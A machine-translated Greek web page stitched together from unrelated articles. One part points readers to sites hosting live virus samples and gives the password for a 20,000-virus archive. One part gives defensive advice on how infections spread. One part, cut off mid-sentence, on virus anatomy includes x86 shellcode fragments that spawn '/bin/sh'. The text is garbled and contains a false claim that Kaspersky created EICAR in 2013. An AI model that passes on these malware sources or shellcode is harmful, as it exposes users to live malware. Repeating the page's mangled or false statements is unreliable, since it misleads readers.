Πώς εισέρχονται οι ιοί σε έναν υπολογιστή: ασφάλεια υπολογιστή. Πώς να αφαιρέσετε με μη αυτόματο τρόπο έναν ιό από έναν υπολογιστή; Πώς να βρείτε ιούς στον υπολογιστή σας με μη αυτόματο τρόπο

Αυτο 17.06.2019
Επισκόπηση προγράμματος Η έκδοση υπολογιστή του Microsoft Excel Viewer θα επιτρέψει...

Οι ιοί υπολογιστών είναι ένα θέμα που δεν θα πάψει ποτέ να είναι σχετικό. Πιο συγκεκριμένα, η καταπολέμηση τους και ποια προγράμματα προστατεύουν καλύτερα τον υπολογιστή σας.

Φυσικά, ορισμένοι χρήστες που διαβάζουν αυτό το άρθρο είναι σίγουροι ότι το σύστημά τους είναι εκατό τοις εκατό αξιόπιστο και προστατευμένο. Αυτοί είναι οι χρήστες που πιστεύουν ότι το καλύτερο antivirus είναι το "άμεσο"Χειριστείτε και εγκαταστήστε βοηθητικά προγράμματα ασφαλείας μόνο για να ελέγξετε για αλλαγές στην εκκίνηση, το μητρώο και άλλα πράγματα. Αυτό το άρθρο είναι σε μεγάλο βαθμό γραμμένο για αυτούς τους χρήστες.

Έχετε αναρωτηθεί ποτέ από πού προέρχεται η πηγή της ζήτησης για προγράμματα προστασίας από ιούς; Σε τελική ανάλυση, όλοι έχετε ακούσει για δοκιμές κατά τις οποίες διαπιστώνεται ότι ένα antivirus είναι καλύτερο από ένα άλλο με βάση τα συγκεκριμένα χαρακτηριστικά.

Μίλησα για τα antivirus σε αυτό το βίντεο:

Ποιο antivirus είναι καλύτερο; Γνώμη των IT YouTubers

Πώς σχηματίζονται όλα αυτά τα τεστ; Στην ιδανική περίπτωση, η εικόνα είναι έτσι: έγραψαν οι ειδικοί της εταιρείας διαφορετικούς ιούς, τα οποία προσπαθούν να μολύνουν διαφορετικές εκδόσεις λειτουργικών συστημάτων στα οποία είναι εγκατεστημένα διαφορετικά antivirusκαι οι συνθήκες είναι επίσης διαφορετικές. Μετά από τόσο μεγάλης κλίμακας δοκιμές, τα αποτελέσματα συνοψίζονται και συντάσσονται αναφορές. Συμφωνώ, όλα είναι λογικά. Και τα αποτελέσματα δοκιμών κάθε ειδικού μπορεί επίσης να είναι διαφορετικά, καθώς έχουν εντελώς διαφορετικές συνθήκες για τη δοκιμή του προγράμματος προστασίας από ιούς.

Τώρα υπάρχουν ιστότοποι στο Διαδίκτυο όπου μπορείτε να κάνετε λήψη ενός ιού για έλεγχο δικό του σύστημαγια να αναζητήσετε τα παραπάνω. Είμαι βέβαιος ότι καταλαβαίνετε σε τι μπορεί να οδηγήσει αυτό.

Ας ξεκαθαρίσουμε αμέσως. Όλοι σκέφτεστε λογικά και είστε οι κάτοχοι των υπολογιστών σας. Επομένως, εάν, μετά τη λήψη ενός τέτοιου ιού από τον ιστότοπο που πρότεινα, ολόκληρο το σύστημά σας, φωτογραφίες, βίντεο, κωδικοί πρόσβασης κ.λπ., καταρρεύσει, δεν πρέπει να με κατηγορήσετε για αυτό. Κατεβάζετε τον ιό μόνο με δικό σας κίνδυνο και κίνδυνο.Χρησιμοποιήστε σωστά τις πληροφορίες που λάβατε. Μην δίνετε τον σύνδεσμο λήψης σε φίλους, παιδιά, έγκυες γυναίκες και ζώα))). Δεν πρέπει να είστε απόλυτα σίγουροι για το σύστημά σας, γιατί δεν έχετε ιδέα τι κρύβεται σε αυτούς τους ιούς. Γενικά, αυτό το άρθρο προορίζεται μόνο για ενημερωτικούς σκοπούς και όχι για την εφαρμογή της αποκτηθείσας γνώσης στην πράξη.

Ήδη το 2013, η Kaspersky«δημιούργησα το πρώτο μου δοκιμή ιού«EicarΤο κύριο καθήκον του ήταν να πάρει τον έλεγχο του συστήματος, την οθόνη το σωστό μήνυμα, και πάλι δώστε όλη την εξουσία στο σύστημα. Μπορείτε να το κατεβάσετε από αυτόν τον σύνδεσμο. θα βρείτε ιούς για να σαρώσετε τον υπολογιστή σας, υπάρχουν ιοί για κάθε χρώμα και γούστο. Οι σύνδεσμοι για τη λήψη τους βρίσκονται στη στήλη "Domain".«Απλώς πρέπει να ανοίξετε τον σύνδεσμο σε νέο παράθυρο. Εδώ είναι μια άλλη διεύθυνση με ιούς, ο σύνδεσμος προς την οποία βρίσκεται στη στήλη "Πηγή".

Για τη λήψη ιών από αυτήν την υπηρεσία, ενδέχεται να απαιτείται εγγραφή. Εάν ο σύνδεσμος είναι επισημασμένος πράσινος, σημαίνει ότι υπάρχει ιός εκεί. Κίτρινοςσημαίνει ότι σχεδόν όλοι οι ιοί από το αρχείο έχουν αφαιρεθεί. Όπως ήδη καταλαβαίνετε, οι σύνδεσμοι με κόκκινο χρώμα δεν περιέχουν ιούς.

Το http://www.virusign.com είναι μια άλλη υπηρεσία που είναι εξ ολοκλήρου στα ρωσικά.

Ακολουθώντας αυτόν τον σύνδεσμο http://openmalware.org πρέπει οπωσδήποτε να γνωρίζετε το όνομα του ιού για να τον βρείτε στη βάση δεδομένων. Απαιτείται στον ιστότοπο λήψης υποχρεωτική εγγραφήγια λήψη.

Και τέλος, ένα αρχείο με 20.000 ιούς - κωδικός 111. Ναι, υπάρχουν πολύ κακά πλάσματα εκεί και δεν μπορούν όλα τα antivirus να σε σώσουν από αυτά!

Νομίζω ότι αυτός ο αριθμός βάσεων δεδομένων ιών θα είναι αρκετός για εσάς. Μην υποτιμάτε αυτούς τους ιούς και υποθέστε ότι μπορούν να καταπονήσουν ελαφρώς το antivirus σας. Πιθανότατα, υπάρχουν κακόβουλα προγράμματα που το antivirus μπορεί να μην παρατηρήσει καν. Επομένως, επαναλαμβάνω, σκεφτείτε πρώτα τρεις φορές πριν κανονίσετε τέτοιους ελέγχους στο δικό σας πρόγραμμα προστασίας από ιούς. Εάν ο υπολογιστής σας χαλάσει, τότε μόνο εσείς είστε υπεύθυνοι!Όλοι οι ιοί σε αυτή τη σελίδα παρουσιάζονται μόνο για ενημερωτικούς σκοπούς!

Εάν εξακολουθείτε να καταφέρετε να κολλήσετε τη μόλυνση, παρακολουθήστε αυτήν τη λίστα αναπαραγωγής αφαίρεσης ιού:

Αφαιρέστε όλους τους ιούς από τον υπολογιστή σας


Σας ευχαριστούμε που είστε μαζί μας και μην μολυνθείτε ποτέ!

Έχουμε αποκαλύψει πολλούς απατεώνες που εκβιάζουν χρήματα υποσχόμενοι ένα μεγάλο έπαθλο ή μισθό. Αλλά σε όλες αυτές τις περιπτώσεις, το ίδιο το άτομο αποφασίζει αν θα πιστέψει τον απατεώνα και θα του δώσει τα χρήματα με τα χέρια του ή θα τρέξει μακριά από αυτόν τον ιστότοπο. Ωστόσο, ορισμένοι ιστότοποι ή ανεπιθύμητα μηνύματα μπορεί να είναι απλώς κακόβουλοι. Πώς εισέρχονται οι ιοί στον υπολογιστή σας και πώς εξαπλώνονται, διαβάστε το χρήσιμο άρθρο μας.

Πώς εισέρχονται οι ιοί σε έναν υπολογιστή

Οι ιοί εισέρχονται σε έναν υπολογιστή με τρεις τρόπους:

  1. Μέσω Διαδικτύου
  2. Διά μέσου αφαιρούμενα μέσα
  3. Διά μέσου τοπικό δίκτυο

Ας ξεκινήσουμε από το τέλος. Αυτό αφορά κυρίως εταιρικούς υπολογιστές, η ασφάλεια του οποίου παρακολουθείται από τους διαχειριστές του συστήματος. Εάν στη δουλειά η συσκευή σας είναι συνδεδεμένη σε ένα κοινόχρηστο τοπικό δίκτυο και τουλάχιστον ένας υπολογιστής μολυνθεί από ιό, τότε θα μολυνθούν και άλλοι. Είναι σαν να μπαίνουν παιδιά νηπιαγωγείο: ένα άτομο αρρωσταίνει - καραντίνα για όλη την ομάδα.

Για να διεισδύσει ο ιός οικιακός υπολογιστής, απλώς τοποθετήστε μια μονάδα flash σε αυτήν (κάποιου άλλου ή τη δική σας, αλλά μια που ήταν σε άλλο μολυσμένο υπολογιστή), ένα CD ή απλώς συνδέστε κάποιο είδος εξωτερική συσκευή(smartphone, κάμερα, εξωτερικό σκληρό δίσκοκαι τα λοιπά.). Εάν αυτό το αφαιρούμενο μέσο έχει μολυνθεί από ιό, όταν ανοίγετε τη συσκευή στον υπολογιστή σας, η αυτόματη εκτέλεση μπορεί να την ανοίξει ακόμη και χωρίς να το γνωρίζετε. Είναι το ίδιο με το να περάσετε ένα παιχνίδι από κάποιον άρρωστο με κάποιο είδος ροταϊού σε ένα άλλο παιδί.

Και τέλος, μόλυνση μέσω Διαδικτύου. Αυτός είναι ίσως ο πιο συνηθισμένος και πολυκαναλικός τρόπος εξάπλωσης ιών υπολογιστών. Ας ρίξουμε μια πιο προσεκτική ματιά στο πώς μπορείτε να μολυνθείτε από έναν ιό μέσω του Διαδικτύου.

Πώς ένας ιός μολύνει έναν υπολογιστή μέσω του Διαδικτύου;

Στο Διαδίκτυο στο διάφορους πόρουςΥπάρχουν εκατομμύρια ιοί που τριγυρνούν. Κάθε μέρα εμφανίζονται όλο και περισσότερα νέα είδη. Δημιουργούνται απλοί άνθρωποι, ή μάλλον ασυνήθιστα έξυπνοι και εξαιρετικά επιβλαβείς, αλλά ακόμα άνθρωποι, όχι ρομπότ. Κάποιοι το κάνουν αυτό με σκοπό να εκβιάσουν χρήματα ή να αποκομίσουν κέρδος, κάποιοι για χάρη του αθλητισμού για να μείνουν στην ιστορία, κάποιοι είναι απλώς κακοί από τη φύση τους και θέλουν να βλάψουν όλη την ανθρωπότητα.

Ας αναλογιστούμε Πώς μολύνεται ένας ιός υπολογιστή;, με ποιους τρόπους μπορείτε να κολλήσετε έναν ιό στον υπολογιστή σας.

Ανοίγετε μια σελίδα που βρήκατε σε μια μηχανή αναζήτησης ή από την οποία λάβατε ένα μήνυμα, κάνετε κλικ σε ένα banner ή σύνδεσμο σε έναν άλλο ιστότοπο και καταλήγετε σε έναν "κακό" ιστότοπο. Περιέχει κακόβουλος κώδικαςσε έναν ιστότοπο που ενεργοποιεί κάποια ενέργεια, για παράδειγμα, μια αυτόματη λήψη ενός κακόβουλου αρχείου. Συνήθως σύγχρονα προγράμματα περιήγησηςκαι αυτοί σωστές ρυθμίσειςαναγνωρίζουν τέτοιους ιούς και δεν επιτρέπουν την αυτόματη εκτέλεση. Όμως, οι έξυπνοι χάκερ καθημερινά αναζητούν όλο και περισσότερα κενά και σφάλματα στα προγράμματα περιήγησης μέσω των οποίων μπορούν να στείλουν έναν Trojan ή κάτι τέτοιο στον σκληρό σας δίσκο.

Ωστόσο, είναι πολύ δύσκολο να γράψετε ένα τέτοιο πρόγραμμα που θα εκκινείται μόνο του από το πρόγραμμα περιήγησης, οπότε πιο συχνά Δεν είναι οι ίδιοι οι ιστότοποι που είναι κακόβουλοι, αλλά τα προγράμματα σε αυτούς, το οποίο ενδέχεται να κατεβάσετε κατά λάθος ή σκόπιμα και να το ανοίξετε στον υπολογιστή σας. Συχνά τέτοια προγράμματα μεταμφιέζονται ως σύνδεσμοι, εικόνες, συνημμένα ή κάποια άλλα γνωστά προγράμματα. Για παράδειγμα, ψάχνετε για ένα βιβλίο, κάνετε κλικ στο «λήψη» και κατεβάζετε όχι ένα έγγραφο, txt, pdf ή κάτι παρόμοιο, αλλά ένα exe, com ή ακόμα και ένα αρχείο με κάποια ακατανόητη επέκταση (πιθανότατα ένα τέτοιο αρχείο έχει μολυνθεί με ιός). Χωρίς να δώσετε προσοχή σε αυτό, ανοίγετε το αρχείο στον υπολογιστή σας και εκκινείτε μόνοι σας τον ιό. Ή κατεβάζετε το αρχείο που ψάχνετε και ταυτόχρονα γίνεται λήψη ενός κακόβουλου προγράμματος που ούτε καν προσέξατε.

2. Email

Ο ιός βρίσκεται στο ίδιο το γράμμα ή στα συνημμένα του. Λαμβάνετε ένα γράμμα από έναν άγνωστο αποστολέα, το ανοίγετε, ακολουθείτε τον σύνδεσμο σε αυτό ή πραγματοποιείτε λήψη και ανοίγοντας τα συνημμένα στα οποία είναι κρυμμένος ο ιός. Μάλιστα, η επιστολή μπορεί να προέρχεται από γνωστό αποστολέα. Για παράδειγμα, εάν ο φίλος σας είχε μολυνθεί από έναν ειδικό ιό που μεταδίδεται σε όλους όσοι βρίσκονται στο δικό του βιβλίο διευθύνσεων. Ή ο ιός μεταμφιέζει τον αποστολέα σε γνωστή εταιρεία. Με αυτόν τον τρόπο εμπνέει εμπιστοσύνη και το άτομο ανοίγει το γράμμα χωρίς δισταγμό.

Οι αποστολείς τέτοιων επιστολών γνωρίζουν καλά την ψυχολογία των μαζών και επομένως γράφουν τέτοια θέματα και κείμενα επιστολών που είναι πολύ δύσκολο να αντισταθείς στο να τα ανοίξεις και να ακολουθήσεις τις οδηγίες. Για παράδειγμα, «Έχουν χρεωθεί 5.673 RUR από τον λογαριασμό σας.", ή “τιμολόγιο για την αγορά σας”, ή “Καλώς ήρθατε στον λογαριασμό σας”, ή "Έχετε εγγραφεί στην πύλη", ή "η συναλλαγή #34598657 ολοκληρώθηκε. Ο λογαριασμός σας έχει αναπληρωθεί"και τα λοιπά.

Θέματα email από το φάκελο Ανεπιθύμητα

Πρόσφατα, για παράδειγμα, έλαβα επιστολές από τη Megafon που έλεγαν ότι είχαν πιστωθεί κάποια χρήματα στον λογαριασμό μου. Έγραψα ένα γράμμα για την υποστήριξη του Megafon ρωτώντας τι ήταν. Μου είπαν ότι δεν το έστειλαν και ότι είναι απατεώνες, μην ανοίγετε τα γράμματα και τα συνημμένα τους.

Επιστολή με ιό από το Megafon

Αποστολή ιών μέσω emailμια πολύ κερδοφόρα και εύκολη επιχείρηση. Είναι παρόμοιο με ιστοσελίδες απάτης μιας σελίδας. Υπάρχει ένας ολόκληρος κλάδος: σε ειδικούς ιστότοπους μπορείτε να κατεβάσετε κακόβουλα προγράμματα (ιούς ransomware, κροτίδες κωδικών πρόσβασης και λογαριασμών, κ.λπ.) και να κάνετε τέτοιες αποστολές, βασιζόμενοι στα "κορόιδα". Για παράδειγμα, αν πληκτρολογήσετε το ερώτημα "Λήψη κιτ χάκερ" στο Google, θα εκπλαγείτε πόσο εύκολο είναι να κατεβάσετε έναν ιό για να τον διαδώσετε.

Ένα παράδειγμα ιστότοπου όπου μπορείτε να κατεβάσετε ιούς πειρατείας

3. Κακόβουλο λογισμικό

Ιός - πρόγραμμα - υπολογιστής. Κατεβάζετε το λογισμικό που χρειάζεστε από το Διαδίκτυο, το οποίο είναι μολυσμένο με ιό. Τις περισσότερες φορές αυτό αφορά δωρεάν προγράμματασε ανεπίσημους ιστότοπους. Για παράδειγμα, ένα πρόγραμμα για παρακολούθηση βίντεο, για λήψη μουσικής από το VKontakte, για αρχειοθέτηση, επεξεργασία, αποστολή ανεπιθύμητης αλληλογραφίας κ.λπ. Εδώ, όπως συμβαίνει με κάθε μη επαληθευμένο αρχείο που λαμβάνεται από κακό ιστότοπο: κατεβάζετε ένα πράγμα και εκτελείτε παράλληλα κάποιο άλλο κακόβουλο λογισμικό.

Ωστόσο, οι ιοί μπορούν επίσης να περιέχονται σε επίσημο λογισμικό και ενημερώσεις που ο υπολογιστής σας κατεβάζει και εγκαθιστά αυτόματα χωρίς να το γνωρίζετε. Αυτό δεν συμβαίνει συχνά, αλλά συμβαίνει σε μεγάλη κλίμακα. Για παράδειγμα, αυτός είναι ο τρόπος με τον οποίο φέρεται να διανεμήθηκε ο διάσημος ιός ransomware "Petya": μόλυνε μια ενημέρωση για λογιστικό πρόγραμμα M.E.Doc.

4. Κοινωνικά δίκτυα

Υπάρχουν 2 επιλογές εδώ: μέσω προσωπικών μηνυμάτων και μέσω εγκατάστασης εφαρμογών. Ένα άτομο άγνωστο σε εσάς (ή γνωστό αλλά χακαρισμένο) σας γράφει ένα ενδιαφέρον προσωπικό μήνυμα. Υπάρχει ένας σύνδεσμος ή ακόμα και ένα συνημμένο. Πας ή κατεβάζεις, ξεκινάς και όλα είναι σύμφωνα με το σενάριο όπως και με μέσω emailκαι κακόβουλους ιστότοπους.

Μια άλλη επιλογή είναι να εγκαταστήσετε κάποια ημι-νόμιμη εφαρμογή, όπως "δείτε ποιος επισκέφτηκε τη σελίδα σας" ή "λήψη μουσικής δωρεάν" ή "άνοιγμα κλειστή λίσταφίλοι ενός φίλου» και κατεβάστε τον ιό στον εαυτό σας. Είναι αλήθεια ότι στα κοινωνικά δίκτυα τις περισσότερες φορές δεν στέλνουν ιούς, αλλά με κάθε τρόπο προσπαθούν να διακοσμήσουν τον κωδικό πρόσβασής σας και να καταλάβουν τον λογαριασμό σας για να στείλουν κακόβουλες αλληλογραφίες στους φίλους σας.

Πώς να μην κολλήσετε έναν ιό και πώς να προστατευθείτε από τον ιό;

Μπορείτε να κολλήσετε τον ιό οπουδήποτε. Αλλά αν φοβάσαι τους λύκους, μην πας στο δάσος. Η ασφάλεια των υπολογιστών είναι πολύ σημαντική, ειδικά για άτομα που εργάζονται στο Διαδίκτυο. Πώς να προστατευτείτε από ιούς; Ακολουθούν ορισμένοι σημαντικοί κανόνες: πώς να ασφαλίσετε την εργασία σας με έναν υπολογιστή:

1. Antivirus.Πρώτα απ 'όλα, φυσικά, εγκαταστήστε καλό antivirusκαι δώστε του την ευκαιρία να ενημερώνεται τουλάχιστον κάθε μέρα. Φυσικά, επιβραδύνει τον υπολογιστή, αλλά θα αναγνωρίσει αμέσως έναν ιό που είναι γνωστός σε αυτόν ή θα σας υποδείξει σε ένα ύποπτο αντικείμενο, είτε πρόκειται για αρχείο λήψης, είτε αφαιρούμενα μέσα ή φακέλους στον σκληρό σας δίσκο.

2. Μην ανοίγετε, μην κάνετε κλικ, μην κάνετε λήψη.Οι περισσότεροι ιοί έρχονται σε έναν υπολογιστή με υπαιτιότητα του ίδιου του ιδιοκτήτη. Όταν ένα άτομο βλέπει κάτι ενδιαφέρον ή βρίσκει κάτι που έψαχνε για πολύ καιρό, χάνει την εγρήγορσή του, ελπίζει στην τύχη και κατεβάζει έναν ιό στον υπολογιστή του. Επομένως, μην ανοίγετε μηνύματα ηλεκτρονικού ταχυδρομείου από άγνωστους αποστολείς, μην ακολουθείτε περίεργους συνδέσμους, μην κάνετε κλικ σε όλα τα banner, μην κάνετε λήψη συνημμένων και μη επαληθευμένων εφαρμογών. Να είστε πάντα σε επιφυλακή εάν σας προσφερθεί ένα αρχείο που περιέχει επέκταση exeή com. Αυτά είναι αρχεία εκκίνησης που ενδέχεται να περιέχουν ιό.

3. Ελεγχος.Εάν λάβετε ένα μήνυμα από έναν φίλο ή μια γνωστή εταιρεία, επικοινωνήστε με αυτό το άτομο μέσω άλλου καναλιού (για παράδειγμα, μέσω τηλεφώνου, Skype, δείτε τη σελίδα του στα κοινωνικά δίκτυα) ή γράψτε στην τεχνική υποστήριξη της εταιρείας από την οποία έλαβε μια ακατανόητη επιστολή. Απλώς μην απαντήσετε σε αυτήν την επιστολή, αλλά βρείτε τον ιστότοπο αυτής της εταιρείας και γράψτε στη φόρμα εκεί ανατροφοδότηση. Ενημερωθείτε και ελέγξτε πριν κάνετε κλικ σε οποιονδήποτε σύνδεσμο στο email.

4. Εγκαταστήστε το Linux.Οι περισσότεροι ιοί έχουν σχεδιαστεί για Windows, οπότε για να μην φοβάστε να κάνετε κλικ σε συνδέσμους σε κακόβουλους ιστότοπους, εγκαταστήστε ένα άλλο λειτουργικό σύστημα, για παράδειγμα, το Linux.

5. Αλλάξτε τις ρυθμίσεις του προγράμματος περιήγησής σας.Ρυθμίστε το πρόγραμμα περιήγησης ώστε να ζητά πάντα την άδειά σας για λήψη αρχείων και επίσης να απενεργοποιεί την αυτόματη εκκίνηση των προγραμμάτων.

Δουλεύοντας στο Διαδίκτυο, συναντάμε συχνά διάφορους απατεώνες, είτε πρόκειται για απατεώνες που προσπαθούν να εξαπατήσουν χρήματα από εσάς είτε για χάκερ που προσπαθούν να κλέψουν τους κωδικούς πρόσβασής σας. Επομένως, να είστε πάντα σε εγρήγορση. Ελπίζουμε οι συμβουλές μας να σας βοηθήσουν σε αυτό.

Αν σας αρέσουν τα άρθρα μας, εγγραφείτε στο ενημερωτικό δελτίο και λάβετε ένα μικρό μπόνους από την ομάδα ντετέκτιβ.

Ας μιλήσουμε για ιούς υπολογιστών; Όχι, όχι για το τι έπιασε το antivirus σας χθες. Όχι για αυτό που κατεβάσατε με το πρόσχημα ενός προγράμματος εγκατάστασης για το επόμενο Photoshop. Όχι για το rootkit που βρίσκεται στον διακομιστή σας, μεταμφιεσμένο σε διαδικασία συστήματος. Όχι για γραμμές αναζήτησης, προγράμματα λήψης και άλλα κακόβουλα προγράμματα. Όχι για κώδικα που κάνει κακό για λογαριασμό σας και θέλει τα χρήματά σας. Όχι, όλα είναι εμπόριο, όχι ρομαντισμός...

Θα μιλήσουμε για τους ιούς υπολογιστών ως κώδικα που είναι ικανός να δημιουργεί τα δικά του αντίγραφα, αλλάζοντας από γενιά σε γενιά. Το οποίο, όπως και τα βιολογικά του, απαιτεί ένα αρχείο φορέα που είναι λειτουργικό και παραμένει λειτουργικό για να δώσει ζωή στις νέες γενιές του ιού. Πράγμα που απαιτεί ένα γόνιμο περιβάλλον για την αναπαραγωγή, πολλά νόστιμα εκτελέσιμα αρχεία, καθώς και πολλούς ηλίθιους και ενεργούς χρήστες για να τα τρέξουν. Έτσι, το όνομα "ιός" δεν είναι απλώς μια όμορφη ετικέτα για να τον περιγράψει κακόβουλο λογισμικό, ένας ιός υπολογιστή, με την κλασική του έννοια, είναι μια οντότητα πολύ κοντά στο βιολογικό του αντίστοιχο. Η ανθρωπότητα, όπως έχει αποδειχτεί ξανά και ξανά, είναι ικανή να δημιουργήσει πολύ εξελιγμένες λύσεις, ειδικά όταν πρόκειται να δημιουργήσει κάτι που βλάπτει τους άλλους ανθρώπους.

Έτσι, πριν από πολύ καιρό, αφού το DOS ήρθε στους ανθρώπους και κάθε προγραμματιστής είχε το δικό του μικρό σύμπαν, όπου ο χώρος διευθύνσεων ήταν ο ίδιος και τα δικαιώματα αρχείων ήταν πάντα rwx, προέκυψε η ιδέα για το αν ένα πρόγραμμα μπορούσε να αντιγραφεί μόνο του. «Φυσικά και μπορεί!» είπε ο προγραμματιστής και έγραψε κώδικα που αντιγράφει το δικό του εκτελέσιμο αρχείο. Η επόμενη σκέψη ήταν «μπορούν δύο προγράμματα να συνδυαστούν σε ένα;» «Φυσικά και μπορούν!» είπε ο προγραμματιστής και έγραψε το πρώτο infector. «Μα γιατί;» - σκέφτηκε, κι αυτό έγινε η αρχή μιας εποχής ιούς υπολογιστών. Όπως αποδεικνύεται, το να μπερδεύεις με έναν υπολογιστή και να προσπαθείς με κάθε δυνατό τρόπο να αποφύγεις τον εντοπισμό είναι πολύ διασκεδαστικό και η δημιουργία ιών είναι μια πολύ ενδιαφέρουσα δραστηριότητα από την άποψη ενός προγραμματιστή συστήματος. Επιπλέον, τα antivirus που εμφανίστηκαν στην αγορά παρουσίασαν στους δημιουργούς ιών μια σοβαρή πρόκληση στον επαγγελματισμό τους.

Σε γενικές γραμμές, οι στίχοι είναι αρκετά αρκετοί για το άρθρο, ας ασχοληθούμε. Θέλω να μιλήσω για τον κλασικό ιό, τη δομή του, τις βασικές έννοιες, τις μεθόδους ανίχνευσης και τους αλγόριθμους που χρησιμοποιούνται και από τις δύο πλευρές για να κερδίσουν.

Ανατομία ενός ιού

Θα μιλήσουμε για ιούς που ζουν σε εκτελέσιμα αρχεία σε μορφές PE και ELF, δηλαδή ιούς των οποίων το σώμα είναι εκτελέσιμος κώδικας για την πλατφόρμα x86. Άλλωστε, να μην καταστραφεί ο ιός μας αρχείο προέλευσης, διατηρώντας πλήρως τη λειτουργικότητά του και μολύνοντας σωστά οποιοδήποτε κατάλληλο εκτελέσιμο αρχείο. Ναι, είναι πολύ πιο εύκολο να σπάσει, αλλά συμφωνήσαμε να μιλήσουμε για τους σωστούς ιούς, σωστά; Για να διατηρήσω το υλικό σχετικό, δεν θα χάσω χρόνο αναθεωρώντας μολυντές της παλιάς μορφής COM, αν και σε αυτό δοκιμάστηκαν οι πρώτες προηγμένες τεχνικές εργασίας με εκτελέσιμο κώδικα.

Τα κύρια μέρη του κώδικα του ιού είναι ο μολυστής και το ωφέλιμο φορτίο. Το Infector είναι ένας κώδικας που αναζητά αρχεία κατάλληλα για μόλυνση και διοχετεύει έναν ιό σε αυτά, προσπαθώντας να κρύψει το γεγονός της ένεσης όσο το δυνατόν περισσότερο χωρίς να βλάψει τη λειτουργικότητα του αρχείου. Το ωφέλιμο φορτίο είναι ένας κωδικός που εκτελεί τις πραγματικές ενέργειες που απαιτούνται από τον κατασκευαστή ιών, για παράδειγμα, αποστολή ανεπιθύμητων μηνυμάτων, DoSing κάποιου ή απλώς αφήνοντας ένα αρχείο κειμένου "Virya was here" στο μηχάνημα. Για εμάς δεν έχει σημασία τι υπάρχει μέσα στο ωφέλιμο φορτίο, το κυριότερο είναι ότι ο ιός προσπαθεί με κάθε δυνατό τρόπο να κρύψει το περιεχόμενό του.

Ας ξεκινήσουμε με τις ιδιότητες του κώδικα ιών. Για να κάνετε τον κώδικα πιο βολικό στην εφαρμογή, δεν θέλετε να διαχωρίσετε τον κώδικα και τα δεδομένα, επομένως συνήθως χρησιμοποιείται η ενσωμάτωση δεδομένων απευθείας στον εκτελέσιμο κώδικα. Λοιπόν, για παράδειγμα, όπως αυτό:
jmp μήνυμα the_back: mov eax, 0x4 mov ebx, 0x1 pop ecx ; Η διεύθυνση "Hello, World" θα ληφθεί από τη στοίβα mov edx, 0xF int 0x80 ... μήνυμα: call the_back ; μετά την εκτέλεση, η διεύθυνση "επιστροφής" θα βρίσκεται στη στοίβα, δηλ. διεύθυνση "Hello, World\n" db "Hello, World!", 0Dh, 0Ah
Ή όπως αυτό:
push 0x68732f2f ; "hs//" push 0x6e69622f ; “nib/” mov ebx, esp ; στο ESP η διεύθυνση της συμβολοσειράς είναι τώρα "/bin/sh" mov al, 11 int 0x80

Όλες αυτές οι παραλλαγές κώδικα, υπό ορισμένες προϋποθέσεις, μπορούν απλώς να αντιγραφούν στη μνήμη και να γίνει ένα JMP με την πρώτη εντολή. Έχοντας γράψει σωστά έναν τέτοιο κώδικα, φροντίζοντας για τις σωστές μετατοπίσεις, κλήσεις συστήματος, καθαρότητα στοίβας πριν και μετά την εκτέλεση κ.λπ., μπορεί να ενσωματωθεί σε ένα buffer με τον κωδικό κάποιου άλλου.

Ας υποθέσουμε ότι ένας κατασκευαστής ιών έχει τη δυνατότητα να γράψει κώδικα ιών σε αυτό το στυλ και τώρα πρέπει να τον εισάγει σε ένα υπάρχον εκτελέσιμο αρχείο. Πρέπει να φροντίσει δύο πράγματα:

  • Πού να τοποθετήσετε τον ιό; Είναι απαραίτητο να βρείτε αρκετό χώρο για να χωρέσει ο ιός εκεί, να τον γράψετε εκεί, χωρίς να σπάσετε το αρχείο, αν είναι δυνατόν, και ώστε να επιτρέπεται η εκτέλεση κώδικα στην περιοχή στην οποία καταλήγει ο ιός.
  • Πώς να μεταφέρετε τον έλεγχο σε έναν ιό; Δεν αρκεί απλώς η τοποθέτηση ενός ιού σε ένα αρχείο, πρέπει επίσης να κάνετε τη μετάβαση στο σώμα του και αφού ολοκληρώσετε την εργασία του, να επιστρέψετε τον έλεγχο στο πρόγραμμα του θύματος. Ή με διαφορετική σειρά, αλλά, σε κάθε περίπτωση, συμφωνήσαμε να μην σπάσουμε τίποτα, σωστά;
Λοιπόν, ας δούμε την ενσωμάτωση σε ένα αρχείο. Οι σύγχρονες εκτελέσιμες μορφές για την πλατφόρμα x86 σε Windows και Linux είναι το PE (Portable Executable) και το ELF (Executable and Linkable Format). Μπορείτε να βρείτε εύκολα τις προδιαγραφές τους στην τεκμηρίωση του συστήματος και αν αντιμετωπίζετε ζητήματα προστασίας του εκτελέσιμου κώδικα, σίγουρα δεν θα τα χάσετε. Εκτελέσιμα formats και boot loader (κώδικας λειτουργικού συστήματος που εκτελείται εκτελέσιμο αρχείο) είναι ένας από τους «ελέφαντες» στους οποίους βρίσκεται το λειτουργικό σύστημα. Διαδικασία εκκίνησης. αρχείο exeαλλά είναι μια πολύ περίπλοκη αλγοριθμικά διαδικασία με πολλές αποχρώσεις, και μπορείτε να μιλήσετε γι 'αυτό σε μια ντουζίνα άρθρα που σίγουρα θα βρείτε μόνοι σας εάν το θέμα σας ενδιαφέρει. Θα περιοριστώ σε μια απλή ανασκόπηση, επαρκή για μια βασική κατανόηση της διαδικασίας εκκίνησης. Για να μην μου πετάξουν ντομάτες, παρακάτω με τον μεταγλωττιστή θα εννοώ όλο το σύμπλεγμα προγραμμάτων που γυρίζει πηγαίος κώδικαςσε ένα έτοιμο εκτελέσιμο αρχείο, δηλαδή, στην πραγματικότητα, μεταγλωττιστή + σύνδεσμο.

Ένα εκτελέσιμο αρχείο (PE ή ELF) αποτελείται από μια κεφαλίδα και ένα σύνολο ενοτήτων. Οι ενότητες είναι ευθυγραμμισμένες (δείτε παρακάτω) buffer που περιέχουν κώδικα ή δεδομένα. Κατά την εκκίνηση ενός αρχείου, οι ενότητες αντιγράφονται στη μνήμη και εκχωρείται μνήμη για αυτά, και όχι απαραίτητα ο όγκος που κατείχαν στο δίσκο. Η κεφαλίδα περιέχει τη διάταξη ενότητας και λέει στον φορτωτή πώς βρίσκονται οι ενότητες στο αρχείο όταν βρίσκεται στο δίσκο και πώς πρέπει να τακτοποιηθούν στη μνήμη πριν μεταφέρει τον έλεγχο στον κώδικα μέσα στο αρχείο. Μας ενδιαφέρουν τρεις βασικές παράμετροι για κάθε ενότητα: psize, vsize και flags. Το Psize (φυσικό μέγεθος) αντιπροσωπεύει το μέγεθος του τμήματος στο δίσκο. Vsize (εικονικό μέγεθος) – το μέγεθος της ενότητας στη μνήμη μετά τη φόρτωση του αρχείου. Σημαίες – χαρακτηριστικά ενότητας (rwx). Το Psize και το Vsize μπορεί να διαφέρουν σημαντικά, για παράδειγμα, εάν ένας 